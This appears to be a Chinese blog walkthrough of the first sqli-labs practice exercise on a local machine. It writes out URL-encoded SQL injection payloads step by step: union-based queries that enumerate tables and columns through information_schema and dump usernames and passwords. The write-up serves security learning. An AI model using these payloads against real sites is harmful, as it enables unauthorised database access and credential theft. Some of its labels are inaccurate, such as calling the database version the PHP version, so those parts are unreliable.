SQLI DUMB SERIES-1
阿新 • • 發佈:2019-03-01
失敗 word database on() 過濾 多少 version 可見 size
less-1
(1)
可以看到提示輸入ID,而且less-1題目也有提到GET,因此試試以下操作:
http://127.0.0.1/sqli-labs-master/Less-1/?id=1
結果:
http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27
結果:
現在可知,“ ‘ ”並沒有被過濾,因此可以進行以下操作:
http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27%20and%201=1%23
結果:回顯正常
http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27%20and%201=2%23
結果:回顯失敗
由此可見,此處存在註入點,可通過上述方式獲取所有Id的name以及password。
(2)用order by 判斷列數(%20表示空格,%27表示 ‘ ,%23表示#)
http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27%20order%20by%203%23
http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27%20order%20by%204%23
由此可見第3欄位存在,而第四欄位不存在,該表只有3列。
(3)聯合查詢註入
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,3%23
回顯字段2和3
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,version(),database()%23
由上圖可知,php版本是5.5.53,數據庫名字是security。
(4)爆表:列出數據庫所有表
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,group_concat(table_name),
3%20from%20information_schema.tables%20where%20table_schema%20=%20%27security%27%20%23
四個表的name如上圖。
(5)爆列名
查看User表中的列名。
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,%20group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name%20=%20%27users%27%20%23
也可查看表emails的列名
(5)查看表users有多少行
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,%20username,password%20from%20users%20where%20id=12%23
當id達到14時,無回顯,證明最多只有14列
SQLI DUMB SERIES-1